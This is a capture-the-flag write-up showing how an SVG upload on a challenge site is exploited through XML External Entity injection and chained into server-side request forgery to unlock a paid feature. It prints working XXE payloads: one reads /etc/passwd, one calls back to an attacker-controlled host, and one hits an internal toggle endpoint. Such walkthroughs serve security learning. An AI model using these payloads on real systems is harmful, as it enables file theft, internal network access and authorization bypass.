Misc CTF - XXE to SSRF

— Written by — 4 min read

This fun little challenge highlight two issue at once: XML External Entity (XXE) and Server-side request forgery (SSRF) and show how it’s possible to chain multiple vulnerabilities to have a bigger impact on a target.

Tl;Dr: You have to exploit an XML External Entity vulnerability through the upload of a SVG file in order achieve Server-side request forgery to activate a premium feature only available to privileged users.

Alright! Let’s get into the details now!


Recon

Opening the challenge displays the following application:

misc ctf xxe to ssrf

Once we upload an image we can activate few function, only “Blur” function is available.
By opening the browser developper tools we can see that two requests are being made once the “blur” function is being activated.

Feature Toggle

The first request activate the blur feature:

1
2
3
4
5
6
$ curl http://blur.ctf:33433/features/0/toggle -i
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 4
Connection: keep-alive
true

If 0 is the ID of Blur feature maybe we can activate the two other locked features by calling the /toogle endpoint directly?

1
2
3
4
5
6
$ curl http://blur.ctf:33433/features/1/toggle -i
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Content-Length: 105
Connection: keep-alive
{"message":"If you are a paying customer, ask your CSM to toggle the feature for you in our back-office"}

Too bad seems like we are not allowed to…

Let’s move on.

XXE Injection

Let’s focus a moment on the upload function. Only SVG file are allowed.

As a reminder:

Scalable Vector Graphics (SVG) is an Extensible Markup Language (XML)-based vector image format for two-dimensional graphics with support for interactivity and animation.
https://en.wikipedia.org/wiki/Scalable_Vector_Graphics

SVG is based on XML. We can actually see the SVG content when uploading our file:

misc ctf svg

Having a XML file being send and proceeded to the server open door to very common vulnerability: XXE injection.

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.
In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

https://portswigger.net/web-security/xxe

We should give a try by crafting a malicious SVG file to exploit XXE Injection. Here how we should be able to read the server /etc/passwd file:

1
2
3
4
5
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

We save it, upload it to the app and…. Well nothing really happen. Since the app try to draw the SVG and don’t proceed correctly the text.

Let’s try to find another way.

XXE to SSRF

Another way to exploit XXE Injection is to use it to perform server-side request forgery (SSRF) attacks.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing.
In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization’s infrastructure, or to external third-party systems.

https://portswigger.net/web-security/ssrf

Since we are not even sure that our XXE injection worked, let’s try another payload. This time we are going to try performing an a SSRF, in other words, make the server request an URL we control.

To give it a try let’s open a simple Python server on our machine:

1
2
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And include our server URL in the SVG payload:

1
2
3
4
5
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.21:8000 > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Once we upload the SVG file we can see a new request have been made to our server:

1
2
3
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.21 - - [07/May/2020 13:49:43] "GET / HTTP/1.1" 200 -

Bingo! We got the confirmation that our XXE Injection is working and we can do SSRF.

Now what ?

Remember those “locked” features we couldn’t activate earlier ? Maybe we can toggle it directly from the server using SSRF ?

Let’s give a try with the following SVG file:

1
2
3
4
5
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1:3000/features/1/toggle" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>

Now we reload the page and we can see the feature got activated:

misc ctf xxe to ssrf

Reference

Real life example


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
, , ,